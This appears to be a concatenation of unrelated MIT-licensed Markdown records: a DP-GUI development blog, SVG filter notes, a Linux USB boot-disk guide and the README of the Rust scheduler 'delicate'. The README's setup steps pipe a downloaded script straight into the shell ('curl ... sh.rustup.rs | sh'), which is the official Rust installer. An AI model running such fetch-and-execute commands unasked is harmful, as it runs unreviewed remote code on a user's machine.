- 在 `<html>` 里面不会声明基础的 font-size，但是我们假设是 16px (浏览器的默认设置)。 您可以在[主题文档](/customization/typography/#typography-html-font-size) 页面中了解更多有关更改 `<html>` 默认字体大小的影响 。
- 在 `theme.typography.body2` 元素上设置 `<body>` 样式。
- Set the font-weight to `theme.typography.fontWeightBold` for the `<b>` and `<strong>` elements.
- 字体的平滑化能让 Roboto 字体更好地展示。 | 1,917 | MIT |
---
title: DP-GUI：一周内，从提出idea到落地
date: 2021-07-31
categories:
- Chemistry
tags:
- deepmd
---
去年，DeePMD-kit的开发者意识到了文档的重要性，给输入的JSON文件`input.json`的所有参数添加了相应的文档。为了实现这一重要目标，Yixiao将配置参数抽象成了`dargs.Arugenment`和`dargs.Variant`类，每个`Arugenment`类代表一个参数，类的属性里还有允许类型、文档、允许的子`Argument`等信息；`Variant`则表示不同的配置变种，例如`local_frame`描述符和`se_e2_a`描述符。就在此时，我们看到[Sion Wang](https://www.zhihu.com/people/sion-wang-29)吐槽过DeePMD-kit缺少文档，用起来是最痛苦的。
除了文档以外，我们也意识到，一个优秀的用户界面（user interface，UI）也可以大幅度提升用户体验。JSON文件是一种对程序友好却反人类的语言，常常看到有用户这里多一个逗号、那里少一个逗号。我们也发现，有时用户也会把参数写错位置，却不知错在哪里。例如，在下面节选的参数中，`type_map`是`model`的子参数，但有用户把`type_map`放在`model`之前，使其无法被正确读取。
```json
{
"model": {
"type_map": ["O", "H"],
"descriptor" :{
"type": "se_e2_a",
"sel": [46, 92],
"rcut_smth": 0.50,
"rcut": 6.00,
"neuron": [25, 50, 100],
"resnet_dt": false,
"axis_neuron": 16,
"seed": 1
},
"fitting_net" : {
"neuron": [240, 240, 240],
"resnet_dt": true,
"seed": 1
}
}
}
```
因此，我常常想着能否为用户提供一个图形界面（graphical user interface，GUI），生成这些JSON文件。很多科学计算软件都只有命令行界面（command line interface，CLI），GUI位于鄙视链的最末端，但我认为应该给新手提供更加友好的环境。
上周，我想到了一个绝妙的idea，立即在开发群里提出，获得了其它开发者的赞同：<!--more-->
> 有一个idea，把dargs的参数导出，然后做一个web-based GUI，读取dargs的参数生成表单，给用户填写，生成各软件的输入文件。
如何把dargs的`Argument`导出为JSON呢？起初，我想像生成文档的方法一样，给`Argument`和`Variant`加一个`gen_json`的方法。但是略加检索后发现，Python有一个`json.JSONEncoder`类，就是专门用来把对象encode成JSON的。我们只需要继承这个类，给我们需要转换、但这个类不支持的type添加相应的转换规则：
```py
class ArgumentEncoder(json.JSONEncoder):
def default(self, obj) -> Dict[str, Union[str, bool, List]]:
if isinstance(obj, Argument):
return {
"object": "Argument",
"name": obj.name,
"type": obj.dtype,
"optional": obj.optional,
"alias": obj.alias,
"doc": obj.doc,
"repeat": obj.repeat,
"sub_fields": obj.sub_fields,
"sub_variants": obj.sub_variants,
}
elif isinstance(obj, Variant):
return {
"object": "Variant",
"flag_name": obj.flag_name,
"optional": obj.optional,
"default_tag": obj.default_tag,
"choice_dict": obj.choice_dict,
"choice_alias": obj.choice_alias,
"doc": obj.doc,
}
elif isinstance(obj, type):
return obj.__name__
return json.JSONEncoder.default(self, obj)
```
这里，我们转换了`Argument`、`Variant`和`type`，之后把`ArgumentEncoder`类放入`json.dumps`的`cls`参数，即可输出JSON字符串：
```py
json.dumps(some_arg, cls=ArgumentEncoder)
```
得到了JSON文件后，这周一，我就把目光转向web-based App。2021年了，我们当然使用目前最流行的前端框架：Vue。恰好，这种动态的数据非常符合Vue的数据驱动视图的理念。在上面示例的JSON文件中，参数是个层层嵌套的形式，而我们很容易想到，Vue框架的组件（component）也可以层层嵌套，正好可以对应一个`Argument`或者`Variant`类。于是，一个`DargsItem.vue`的组件便诞生了：
```html
<!-- 节选了重要的逻辑代码 -->
<template>
<!-- list -->
<div class="w-100" v-if="Array.isArray(jdata)">
<v-list-item v-for="item in jdata" :key="item.name">
<DargsItem :jdata="item" ref="subitem" />
</v-list-item>
</div>
<div class="w-100 mx-1" v-else-if="jdata.object == 'Argument'">
<!-- 这里有用户输入框的逻辑，略 -->
<v-list-item v-for="item in jdata.sub_fields" :key="item.name">
<DargsItem :jdata="item" ref="subitem" />
</v-list-item>
<v-list-item v-for="item in jdata.sub_variants" :key="item.name">
<DargsItem :jdata="item" ref="subvariant" />
</v-list-item>
</div>
<div class="w-100" v-else-if="jdata.object == 'Variant'">
<v-tab-item v-for="item in jdata.choice_dict" :key="item.name" eager>
<DargsItem :jdata="item" ref="subitem" />
</v-tab-item>
</div>
</template>
```
完整的代码可以在[这里](https://github.com/deepmodeling/dpgui/blob/2def988af08aaeb21a4b8b045f969e25e37b015e/src/components/dargs/DargsItem.vue)看到。在用户视图中，我们将输入的数据`jdata`通过`if`和`else`分为了三个类型，`list`（表示多个`Argument`）、`Argument`（可能有若干个sub fields或者sub fields）和`Variant`（有若干个choice，即`Argument`），每个类型都可能通过`for`来嵌套若干个子组件。而真正的用户输入框，则位于`Argument`内，也是通过一组`if-else`将不同的type分成了文本框（对应str、int、float）、多行文本框（list）、switch按钮（bool），并提供了额外的下拉框用于在多个接受的类型中选择一个，额外的switch按钮用于可选项的选择。参数的文档则放在了hint的位置。
搞定一个简陋（艺术感欠缺）但可以用的界面后，我们需要实现两个功能：导出JSON（`dvalue`方法）、导入JSON（`load`方法），刚好是相反的。值得注意的是，这两个方法也需要层层嵌套，节选`dvalue`的代码如下：
```js
methods: {
/**
* Get a object.
* @returns {object} The returned obj.
*/
dvalue: function () {
if (Array.isArray(this.jdata)) {
return Object.fromEntries(
new Map(
this.$refs["subitem"]
.filter((vv) => !vv.jdata.optional || vv.check)
.map((vv) => [vv.jdata.name, vv.dvalue()])
)
);
} else if (this.jdata.object == "Argument") {
```
这里的技术难点在于，如何获取`sub_fields`的组件？我们在template内已经给所有子组件标记了`ref="subitem"`，因此用`this.$refs["subitem"]`即可得到所有子组件的列表。
我们还需要设置传入参数，这个组件就算完工了。之后，我们再创建一个`dargs.vue`组件，把`DargsItem`包起来，同时提供一个从本地载入JSON的按钮，以及导出JSON的按钮，也设置同样的传入参数：
```js
props: {
jdata: [Object, Array],
},
```
这样，一个`darg`组件，就能够表示一个软件的所有参数。那么，如何切换不同软件的参数呢？这时就需要引入路由（router）了。
```js
Vue.use(VueRouter)
const routes = [
{
path: '/input/:id',
name: 'User Input',
component: () => import(/* webpackChunkName: "input" */ '../views/Input.vue')
},
// 其余路由略
]
```
通过在路由路径中加入参数`:id`，我们便可以在访问input页面时，用不同的路径加载不同模板了。为了让用户可以自己添加模板，我们也引入了Storge功能：
这时候，我们把这个App取名为DP-GUI，DP-GUI就算基本能用了，访问地址为[https://deepmodeling.org/dpgui/](https://deepmodeling.org/dpgui/)。而这时候的准确时间为这周三，距离提出idea，刚好是一周的时间。 | 5,687 | MIT |
---
layout: post
title: Svg-filter
tags: ['2019']
---
- filter 的原理与参数
- 如何实现一个积木拖起后的加边框加阴影效果
# filter 原理与参数
## 原理
- 使用了 filter 的 svg们不会将图案直接渲染为最终图形，会渲染图案的像素到临时位图中
- 由 filter 指定的操作会被应用到该临时区域，其结果会被渲染为最终图形
- filter 标记之间就是执行我们想要操作的滤镜基元，每个基元有一个或多个输入，但只有一个输出
- 基元的输入可以是原始图形(SourceGraphic)、图形的不透明度通道(SourceAlpha)、前一个滤镜基元的输出，只有对图形的形状感兴趣而不管颜色时，不透明度通道是有用的，不透明度通道会和颜色相互作用
```html
<filter id="drop-shadow">
<!-- 这里是滤镜操作 -->
</filter>
<g id="spring-flower" style="url(#drop-shadow);">
<!-- 这里绘制图形 -->
</g>
```
## 滤镜边界
- 描述该滤镜的剪裁区域
- 默认值 `x="-10%" y="-10%" width="120%" height="120%"`，为滤镜提供了额外的空间，这样造成的投影，产生的输出就会比输入大
- 这些属性是按照滤镜对象的边界框来计算的，即 filterUnits 的 默认值是 objectBoundingBox
- 可以用 primitiveUnits 属性为用于滤镜基元中的单元指定单位，默认值是 userSpaceOnUse，如果设置为 objectBoundingBox，就可以按照图形尺寸的百分比来表示单位
## feGaussianBlur
- in 指定输入源，`SourceAlpha` 指的是原图
- `stdDeviation` 指定模糊度，数值越大越模糊，如果提供两个由空格分割的数字，则分别代表 x 方向、y 方向的模糊度
```xml
<defs>
<filter id="drop-shadow">
<feGaussianBlur in="SourceAlpha" stdDeviation="2">
</filter>
</defs>
<g id="flower" filter="url(#drop-shadow)">
<!-- 这里绘制花朵 -->
</g>
```
## 存储、连接、合并滤镜
- result 属性指定当前基元的结果，稍后可以通过 `blur` 引用，给定的名称是一个局部名称，只在包含该基元的 `<filter>` 中有效
- `feOffset` 基元接受它的输入，这里就是 Gaussian blur 的返回结果 blur，它的偏移由 dx 和 dy 值指定，将结果位图存储在 `offsetBlur` 名字下面
- `<feMerge>` 基元包裹一个 `<feMergeNode>` 元素列表，其中每个元素都指定一个输入，这些输入按照出现的顺序一个堆叠在另一个上面，这里我们希望 offsetBlur 在原始值 SourceGraphic 下面
```html
<filter id="drop-shadow">
<feGaussianBlur in="SourceAlpha" stdDeviation="2" result="blur"/>
<feOffset in="blur" dx="4" dy="4" result="offsetBlur"/>
<feMerge>
<feMergeNode in="offsetBlur"/>
<feMergeNode in="SourceGraphic"/>
</feMerge>
</filter>
```
## feColorMatrix
- 允许修改任意像素点的颜色或者阿尔法值
- type 属性为 matrix 的时候，values 4 行 5 列，表四行代表计算 R、G、B、A
- 每行中的数字分别乘以输入像素的 R、G、B、A和常量 1（按照列的顺序），得到输出值
- 若不指定 result，表示用作下一个基元的隐形输入
```html
<filter id="glow">
<feColorMatrix type="matrix"
values=
"0 0 0 0 0
0 0 0 0.9 0
0 0 0 0.9 0
0 0 0 1 0"/>
<feGaussianBlur stdDeviation="2.5"
result="coloredBlur"/>
<feMerge>
<feMergeNode in="coloredBlur"/>
<feMergeNode in="SourceGraphic"/>
</feMerge>
</filter>
```
## feComponentTransfer
- 提供一种更方便、更灵活的方式来单独操作每个颜色分量
- 可以让蓝色更亮，也可以通过增加绿色和红色级别让它没那么强烈
- 通过内置 feFuncR、 feFuncG、feFuncB、feFuncA 调整红绿蓝和阿尔法的级别
- 每个元素可以指定一个 type 说明如何修改该通道，所有结果大于 1.0 被减少为 1.0，小于 0 被调整为 0
- linear：把当前颜色值分量放到公式 `slope * C + intercept` 中，intercept 为结果提供一个基准值，slope 是一个简单的比例因子。`<feFuncB type="linear" slope="3" intercept="0.2">`
- table：将颜色值划分为一系列相等的间隔，每个间隙中的值都相应地扩大，类似于最小的四分之一颜色范围的值加倍，下一个四分之一都塞入一个十分之一的范围，保持第三个四分之一的范围不变，最后一个四分之一的值塞入剩下的 15% 的颜色范围中 `<feFuncG type="table" tableValues="0.0, 0.5, 0.6, 0.85, 1.0" />`
## feComposite
- 接受两个输入源，分别指定在 in 和 in2 属性中
- operator 属性用于设置如何合并这两个输入源
- over：`<feComposite operator="over" in="A" in2="B" />` 生成的结果 A 层叠在 B 上面，`<feMergeNode>` 仅仅是制定 over 操作的 `feComposite` 元素的一种便利的快捷方式
- in：`<feComposite operator="in" in="A" in2="B" />` 结果是 A 的一部分重叠在 B 的不透明区域，类似于蒙版效果，但这个蒙版仅仅基于 B 的阿尔法通道，而不是它的颜色亮度
- out：`<feComposite operator="out" in="A" in2="B" />`，结果是 A 的一部分位于 B 的不透明区域的外部
- atop：`feComposite operator="atop" in="A" in2="B" />`，结果是 A 的一部分位于 B 里面，B 的一部分在 A 外面
- xor：`<feComposite operator="xor" in="A" in2="B" />`，结果包含位于 B 的外面的 A 的部分和位于 A 的外面的 B 的部分
## feBlend
- 接受两个输入源，分别指定在 in 和 in2 属性中
- mode 属性用于设置如何混合输入源
- normal：只有 B
- multiply：对于每个颜色通道，将 A 的值和 B 的值想成，由于颜色值在 0~1 之间，相乘会让它们更小，这会加深颜色，如果某个颜色是白色则没有效果
- screen：把每个通道的颜色值加载一起，然后减去它们乘积，明亮颜色或者浅色往往回避暗色占优势，但相似亮度的颜色会被合并
- darken：取 A 和 B 的每个通道的最小值，颜色较暗
- lighten：提取 A 和 B 的每个通道的最大值，颜色较亮
## feFlood 和 feTile
- feFlood 提供一个纯色区域用于组合或者合并，提供 flood-color 和 flood-opacity 属性
- feTile 提取输入信息作为团，然后横向和纵向平铺填充滤镜指定的区域
## filter 动画
- 通过 attributeName 指定变化的属性，from、to、begin、dur 指定变化的值
- 详见 [SVG 动画部分](https://static.chenng.cn/#/%E5%9F%BA%E7%A1%80-%E5%89%8D%E7%AB%AF/SVG/SVG)
```html
<feGaussianBlur result="outShadowAnimate" in="outColor" stdDeviation="3">
<animate id="increase" attributeType="XML" attributeName="stdDeviation" from="3" to="10" begin="0s;decrease.end" dur="0.4s" />
<animate id="decrease" attributeType="XML" attributeName="stdDeviation" from="10" to="3" begin="increase.end" dur="0.4s" />
</feGaussianBlur>
```
# 实践
## 描边 + 阴影
<iframe height="265" style="width: 100%;" scrolling="no" title="stroke + shadow" src="//codepen.io/ringcrl/embed/ZZPLLY/?height=265&theme-id=0&default-tab=html,result" frameborder="no" allowtransparency="true" allowfullscreen="true">
See the Pen <a href='https://codepen.io/ringcrl/pen/ZZPLLY/'>stroke + shadow</a> by ringcrl
(<a href='https://codepen.io/ringcrl'>@ringcrl</a>) on <a href='https://codepen.io'>CodePen</a>.
</iframe>
## 呼吸动画
<iframe height="265" style="width: 100%;" scrolling="no" title="Animate Filter" src="//codepen.io/ringcrl/embed/QPoKBp/?height=265&theme-id=0&default-tab=html,result" frameborder="no" allowtransparency="true" allowfullscreen="true">
See the Pen <a href='https://codepen.io/ringcrl/pen/QPoKBp/'>Animate Filter</a> by ringcrl
(<a href='https://codepen.io/ringcrl'>@ringcrl</a>) on <a href='https://codepen.io'>CodePen</a>.
</iframe> | 5,280 | MIT |
---
layout: post
title: "Linux USB引导盘制作"
date: 2009-10-11 +0800
categories: Linux
tags: Linux
author: dbtan
---
* content
{:toc}
### 一、系统启动过程：
```
开机→初始化BIOS→→启动引导器bootloader→→装载内核kernel→→启动init
（GRUB）
```
#### · 第一步，初始化BIOS：设置启动顺序等基本输入输出系统。
MBR：Master Boot Recorder主引导分区 （512字节，0柱面、0磁头、第1个扇区）
446字节MBC：主引导代码（找可引导分区）
64字节DPT：4个16字节的主分区信息
2字节：55AA（十六进制数）表示结束。
#### · 第二步，启动引导器bootloader：
##### ⑴ grub：/boot/grub/grub.conf配置文件
```
# grub.conf generated by anaconda
#
# Note that you do not have to rerun grub after making changes to this file
# NOTICE: You do not have a /boot partition. This means that
# all kernel and initrd paths are relative to /, eg.
# root (hd0,0)
# kernel /boot/vmlinuz-version ro root=/dev/sda1
# initrd /boot/initrd-version.img
#boot=/dev/sda
default=0
timeout=5
splashimage=(hd0,0)/boot/grub/splash.xpm.gz
hiddenmenu
title Red Hat Enterprise Linux Server (2.6.18-8.el5)
root (hd0,0)
```
**注**：hd0：第一个硬盘 ， 0：第一个分区
`hd0`是由`/boot/grub/device.map`硬盘映射的。
`kernel /boot/vmlinuz-2.6.18-8.el5 ro root=LABEL=/ rhgb quiet` 安静：不显示selinux提示的错误信息等其它信息。
**注**：根分区为卷标为／的。
`initrd /boot/initrd-2.6.18-8.el5.img`
**注**：
```
[root@vm5: /boot]#ls
config-2.6.18-8.el5 initrd-2.6.18-8.el5.img System.map-2.6.18-8.el5
grub symvers-2.6.18-8.el5.gz vmlinuz-2.6.18-8.el5
[root@vm5: /boot]#mkdir initrd
[root@vm5: /boot]#ls
config-2.6.18-8.el5 initrd symvers-2.6.18-8.el5.gz vmlinuz-2.6.18-8.el5
grub initrd-2.6.18-8.el5.img System.map-2.6.18-8.el5
[root@vm5: /boot]#gunzip < initrd-2.6.18-8.el5.img > initrd/initrd.img
[root@vm5: /boot]#cd initrd
[root@vm5: /boot/initrd]#ls
initrd.img
[root@vm5: /boot/initrd]#file initrd.img
initrd.img: ASCII cpio archive (SVR4 with no CRC)
[root@vm5: /boot/initrd]#cpio -iv < initrd.img
sys
lib
lib/mptspi.ko
lib/ext3.ko 载入：ext3驱动模块
lib/mptbase.ko
lib/sd_mod.ko 载入：sd驱动模块
lib/ohci-hcd.ko 载入：other芯片驱动模块
lib/jbd.ko
lib/mptscsih.ko
lib/ehci-hcd.ko 载入：USB2.0驱动模块
lib/uhci-hcd.ko 载入：USB1.1驱动模块
lib/scsi_mod.ko 载入：SCSI驱动模块
lib/scsi_transport_spi.ko
etc
proc
init
bin
bin/nash
bin/modprobe
bin/insmod
sysroot
dev
dev/mapper
dev/tty7
dev/tty3
dev/tty2
dev/tty0
dev/ttyS0
dev/tty6
dev/ram
dev/ram1
dev/rtc
dev/zero
dev/tty11
dev/ptmx
dev/tty
dev/tty5
dev/console
dev/tty10
dev/ttyS1
dev/tty1
dev/tty8
dev/tty4
dev/null
dev/tty9
dev/ram0
dev/tty12
dev/ttyS2
dev/systty
dev/ttyS3
sbin
6761 blocks
[root@vm5: /boot/initrd]#ls
bin dev etc init initrd.img lib proc sbin sys sysroot
[root@vm5: /boot/initrd]#vim init
#!/bin/nash
mount -t proc /proc /proc
setquiet
echo Mounting proc filesystem
echo Mounting sysfs filesystem
mount -t sysfs /sys /sys
echo Creating /dev
mount -o mode=0755 -t tmpfs /dev /dev
mkdir /dev/pts
mount -t devpts -o gid=5,mode=620 /dev/pts /dev/pts
mkdir /dev/shm
mkdir /dev/mapper
echo Creating initial device nodes
mknod /dev/null c 1 3
mknod /dev/zero c 1 5
mknod /dev/systty c 4 0
mknod /dev/tty c 5 0
mknod /dev/console c 5 1
mknod /dev/ptmx c 5 2
mknod /dev/rtc c 10 135
mknod /dev/tty0 c 4 0
mknod /dev/tty1 c 4 1
mknod /dev/tty2 c 4 2
mknod /dev/tty3 c 4 3
mknod /dev/tty4 c 4 4
mknod /dev/tty5 c 4 5
mknod /dev/tty6 c 4 6
mknod /dev/tty7 c 4 7
mknod /dev/tty8 c 4 8
mknod /dev/tty9 c 4 9
mknod /dev/tty10 c 4 10
mknod /dev/tty11 c 4 11
mknod /dev/tty12 c 4 12
mknod /dev/ttyS0 c 4 64
```
##### ⑵ initrd：解决驱动问题（rd：run disk）
`initrd /boot/initrd-2.6.18-8.el5.img`
#### 第三步，装载内核kernel：
`kernel /boot/vmlinuz-2.6.18-8.el5 ro root=LABEL=/ rhgb quiet`
#### 第四步，初始化init：
`/etc/inittab配置文件 →→初始化 /etc/rc.d/`
```
#
# inittab This file describes how the INIT process should set up
# the system in a certain run-level.
#
# Author: Miquel van Smoorenburg, miquels@drinkel.nl.mugnet.org
# Modified for RHS Linux by Marc Ewing and Donnie Barnes
#
# Default runlevel. The runlevels used by RHS are:
# 0 - halt (Do NOT set initdefault to this)
# 1 - Single user mode
# 2 - Multiuser, without NFS (The same as 3, if you do not have networking)
# 3 - Full multiuser mode
# 4 - unused
# 5 - X11
# 6 - reboot (Do NOT set initdefault to this)
#
id:3:initdefault: 设置默认的运行级别为：3
# System initialization.
si::sysinit:/etc/rc.d/rc.sysinit sysinit:一定要运行完后面的脚本，再继续运行后面，有错也不停（继续运行后面程序）
l0:0:wait:/etc/rc.d/rc 0 wait:等运行完后面脚本，再继续运行会面，有错就停。
l1:1:wait:/etc/rc.d/rc 1
l2:2:wait:/etc/rc.d/rc 2
l3:3:wait:/etc/rc.d/rc 3
l4:4:wait:/etc/rc.d/rc 4
l5:5:wait:/etc/rc.d/rc 5
l6:6:wait:/etc/rc.d/rc 6
# Trap CTRL-ALT-DELETE
ca::ctrlaltdel:/sbin/shutdown -t3 -r now
# When our UPS tells us power has failed, assume we have a few minutes
# of power left. Schedule a shutdown for 2 minutes from now.
# This does, of course, assume you have powerd installed and your
# UPS connected and working correctly.
pf::powerfail:/sbin/shutdown -f -h +2 "Power Failure; System Shutting Down"
# If power was restored before the shutdown kicked in, cancel it.
pr:12345:powerokwait:/sbin/shutdown -c "Power Restored; Shutdown Cancelled"
# Run gettys in standard runlevels
1:2345:respawn:/sbin/mingetty tty1 respawn:可重生
2:2345:respawn:/sbin/mingetty tty2
3:2345:respawn:/sbin/mingetty tty3
4:2345:respawn:/sbin/mingetty tty4
5:2345:respawn:/sbin/mingetty tty5
6:2345:respawn:/sbin/mingetty tty6
# Run xdm in runlevel 5
x:5:respawn:/etc/X11/prefdm –nodaemon
/etc/inittab配置文件 →→初始化： /etc/rc.d/rc.sysinit 键盘、鼠标驱动
```
#### 第五步 `/etc/rc.d/rc` 运行级别
`/etc/rc.d/rc.local`
系统环境配置
> **说明**：
>
> ⑴ initrd先于kernel，如果kernel中有硬盘等驱动就不用initrd了。RHEL5的kernel中没有硬盘驱动，所以得先initrd再装载kernel。
>
> ⑵ 当前模块配置文件在：/boot/config-2.6.18-8.el5中，`/usr/local/src/`uname -r`/.config`文件
>
> ⑶ /boot/grub中，menu.lst -> ./grub.conf
>
> ⑷ 在第四步中，
> /etc/inittab配置文件 →→初始化 /etc/rc.d/rc.sysinit 键盘、鼠标驱动
> /etc/rc.d/rc 运行级别
> /etc/rc.d/rc.local 系统环境配置
### 二、U盘引导制作方法、步骤：
#### ⑴ 对U盘分区、格式化为EXT3文件系统并且加可引导。
```
[root@vm5: ~]#fdisk /dev/sdb
按a，加可引导。
[root@vm5: ~]#partprobe
[root@vm5: ~]#mke2fs -j /dev/sdb1
```
#### ⑵ 安装目录树。
```
[root@vm5: /mnt/Server]#rpm -ivh --nodeps --force --root=/mnt/ filesystem-2.4.0-1.i386.rpm
```
#### ⑶ 安装grub。
```
[root@vm5: /mnt/Server]#rpm -ivh --nodeps --force --root=/mnt/ grub-0.97-13.i386.rpm
```
#### ⑶ 拷贝应用程序到U盘。注：不要覆盖刚刚生成的文件或目录。
```
[root@vm5: ~]#cp -rf /bin/* /mnt/bin/
[root@vm5: ~]#cp -rf /sbin/* /mnt/sbin/
[root@vm5: ~]#cp -rf /usr/bin/* /mnt/usr/bin/
[root@vm5: ~]#cp -rf /usr/sbin/* /mnt/usr/sbin/
```
#### ⑷ 拷贝库文件到U盘。注：不要覆盖刚刚生成的文件或目录。
```
[root@vm5: ~]#cp -rf /lib/* /mnt/lib/
[root@vm5: ~]#cp -rf /usr/lib/* /mnt/usr/lib/ ←如果文件太大，可不拷
```
#### ⑸ 拷贝`/boot/*`到U盘之后，在U盘中修改`/mnt/boot/grub/grub.conf`配置文件、修改`/mnt/boot/grub/device.map`硬盘映射文件等。
```
[root@vm5: ~]#cp -rf /boot/* /mnt/boot/
[root@vm5: /mnt]#vim boot/grub/grub.conf
改：default=0
timeout=5
hiddenmenu
title Red Hat Enterprise Linux Server USB LINUX (2.6.18-8.el5)
root (hd0,0)
kernel /boot/vmlinuz-2.6.18-8.el5 ro root=/dev/sdb1 init=/bin/bash
注：不能有多于的“空格”，否则，无法引导成功！
initrd /boot/initrd_usb.img
[root@vm5: /mnt]#vim boot/grub/device.map
写：(hd0) /dev/sdb
```
#### ⑹ 创建设备文件。 块 主 从
```
[root@vm5: ~]#mknod /mnt/dev/sdb b 8 16
[root@vm5: ~]#mknod /mnt/dev/sdb1 b 8 17
说明：主设备号：用同一个驱动。
从设备号：记录分区号。
[root@vm5: /mnt/Server]#rpm -ivh kernel-doc-2.6.18-8.el5.noarch.rpm安装内核文档，查看/usr/share/doc/kernel-doc-2.6.18/Documentation/devices.txt文档来学习主设备号、从设备号等说明。
```
#### ⑺ 加载驱动到initrd。 注：加载顺序不能错！
```
[root@vm5: ~]#mkinitrd --with=sd_mod --with=scsi_mod --with=uhci-mod --with=ehci-hcd --with=usb-storage /mnt/boot/ initrd_usb.img `uname -r`
说明：initrd_usb.img为U盘中/mnt/boot/grub/grub.conf配置文件中initrd /boot/initrd_usb.img 。
```
#### ⑻ 拷贝/etc/fstab和/etc/mtab，并加以修改。
```
[root@vm5: ~]#cp /etc/fstab /mnt/etc/fstab
只写：/dev/sdb1 / ext3 defaults 1 1
[root@vm5: ~]#cp /etc/mtab /mnt/etc/mtab
只写：/dev/sdb1 / ext3 rw 0 0
```
#### ⑼ 切换U盘/mnt/为／根分区。
```
[root@vm5: ~]#chroot /mnt
```
#### ⑽ 重装sdb，修复MBR。
```
sh-3.1#grub-install /dev/sdb
sh-3.1#grub-install --recheck /dev/sdb
注：检测（也可不用）
至此，U盘引导盘制作完毕！用sync命令同步一下磁盘，重启系统。
改BIOS为USB-HDD为第一启动，即可用U盘引导Linux系统了！！！
```
-- The End -- | 7,872 | MIT |
# Delicate
[](
https://github.com/BinChengZhao/delicate/actions)
[](
https://github.com/BinChengZhao/delicate)
## [English](./README.md)
- [delicate](#delicate)
- [什么是delicate](#what-is-delicate)
- [特性](#特性)
- [Benchmark](#benchmark)
- [上手 delicate](#get-started)
- [部署 delicate](#部署-delicate)
- [快速开始](#quick-start)
- [文档](https://delicate-rs.github.io/Roadmap.html)
- [路线图](#roadmap)
- [贡献指南](#Contributing)
- [License](#license)
## What is delicate
<a href="">
<img src="./doc/src/delicate_logo.png"
alt="delicate logo" title="delicate" height="125" width="125" align="right"/>
</a>
`delicate` 一个轻量的分布式的任务调度平台通过rust编写. :
## 特性
- **友好的用户界面：** [前端]方便地管理任务和执行器，监控其状态，支持手动维护运行中的任务等。
- **灵活的操作：** 灵活的任务操作，支持限制单个节点的最大并行数，与cron表达式相对应的时区设置，调度模式（单一、固定数量、不断重复），能够在任何时候手动触发任务，手动终止任务实例，在线查看任务日志。
- **高可用性：** Delicate支持横向扩展。通过部署尽可能多的Delicate服务器和执行器，很容易实现高可用性和性能。
- **高性能：** 轻量级和基本功能加快了性能，`delicate'的基本资源开销大约是（小于0.1%的cpu使用率，10m的内存.)
- **可观察性:** 有许多有意义的统计数据定期以图表的方式展现。
- **升级：** 系统的动态升级（升级是通过获得最新的源代码和进行数据库迁移.)
- **复用性：** 执行器提供`restful-api` ，可以让用户应用维护自定义任务.
- **权限管理：** 基于casbin实现的权限管理功能，持续优化体验.
`Delicate` 架构图:
## 项目效果图
<details>
<summary>请点击</summary>
</details>
## Benchmark
每次调度耗时 6,424 ns (+/- 52) 在 CentOS Linux release 7.6.1810 (Core) (不同系统/硬件会有不同的结果).
系统：CentOS Linux release 7.6.1810 (Core) - 4核/8G：
单节点: delicate-executor
任务创建，峰值cpu消耗 3%，qps：17000+
任务取消，峰值cpu消耗 3%，qps：18000+
任务手动调度，峰值cpu消耗 3.5%，qps：14000+
任务移除，峰值cpu消耗 3%，qps：14000+
健康检查，峰值cpu消耗 4%，qps：2600+
峰值的内存消耗都在60M之内。
其它的指标等待压测.
## Get Started
如下是`Delicate` - `scheduler` & `executor` 的基本用途和快速设置。
我们把它分成多个简单的步骤来说明`Delicate`的概念和操作.
源码安装的依赖:
* [rustc](https://www.rust-lang.org/tools/install) (minimum-supported version of `rustc` is **1.54**.)
* libmysqlclient-dev & libpq-dev & libssl-dev
### 部署 delicate
<!-- We can download the binary from [release page](https://github.com/BinChengZhao/delicate/releases). -->
<!--
For example we use linux version:
```bash
$ mkdir delicate
$ wget https://github.com/BinChengZhao/delicate/releases/download/v1.0.0/delicate-v1.0.0-linux-amd64.tar.gz
$ tar zxvf delicate-v1.0.0-linux-amd64.tar.gz -C delicate && cd delicate -->
1. 安装rust套件。` curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh ` 或 ` curl --tlsv1.2 -sSf https://sh.rustup.rs | sh ` 或 `curl https://sh.rustup.rs -sSf | sh` 。 有可能遇到curl错误，需要重试几次，这些问题通常是由于curl的版本太低，或者网络不稳定造成的。
2. 在当前shell中初始化cargo，` source $HOME/.cargo/env ` 。
3. 获取`delicate`的源代码并编译它（这是一个例子，请根据你的需要获取相应的Tag版本）。` git clone https://github.com/BinChengZhao/delicate.git ` 。
4. `cd delicate/ ` 。
5. ` cargo check ` ，检查环境依赖性等。
6. 当错误：没有找到链接器`cc`时：解决方案：` yum -y install gcc ` 。
7. 当` --- stderr线程'main'在'Without `*` set in .env: NotPresent "时，你需要设置环境变量，使用项目的template.env"。
8. ` cp template.env .env ` 然后开始修改配置。
9. 通过后用`cargo build --release`编译可执行文件。
10. 启动delicate-scheduler： ` nohup target/release/delicate-scheduler >> scheduler.log 2>&1 &` 在部署服务器的机器上。
11. 启动delicate-executor。` nohup target/release/delicate-executor >> executor.log 2>&1 & ` 在执行任务的机器上。
12. 关于前端资源的部署，请参考[README.md](./delicate-web/README.md)。
13. `delicate-scheduler`和`delicate-web`需要在同一个域下（如`api. delicate.com`和`web. delicate.com`），以避免跨域问题，`delicate-scheduler`和`delicate-web`都可以通过反向代理部署为集群版本。
## Quick start
[快速开始](./doc/src/quick_start_zh_cn.md)
## documentation
See [reference](./doc/src/reference.md) for more information.
## To Do List
- [] I18n.
- [] 权限管理。
- [] 多种登录协议，LDAP CAS.
- [] 机器资源面板，在线查看进程、内存、cpu等。
- [] 数据库后端支持Postgres。
- [] 使用RPC的 "scheduler & executor "通信，但目前存在依赖性问题（RPC框架（"tonic ｜ tarpc"）都依赖tokio 1，目前actix-web稳定版3，不支持与tokio 1集成）。
- [] 支持任务流。
- [] 动态执行器负载调整，资源组根据机器指标调整任务执行节点的任务负载。
## Roadmap
查看更多路线图详情 [delicate Roadmap](./doc/src/Roadmap.md) .
## Contributing
:balloon: 感谢你对改进项目的帮助! 我们非常高兴能有你的参与! 这里有一个贡献指南，以帮助你参与到Delicate
项目.
[Rust-guide](./CONTRIBUTING.md)
[Js-guide](./delicate-web/CONTRIBUTING.md)
## 感谢
我们要感谢整个社区和代码贡献者。特别是，感谢过去两个月的代码贡献者:
[Walker-os](https://github.com/Walker-os)
感谢用户报告文档中的拼写错误, 这非常感谢大家。
感谢用户加入我们，提供反馈，讨论功能，并获得帮助!
# Stargazers over time
[](https://starchart.cc/BinChengZhao/delicate)
## License
Licensed under either of
* MIT license ([LICENSE-MIT](LICENSE-MIT) or http://opensource.org/licenses/MIT)
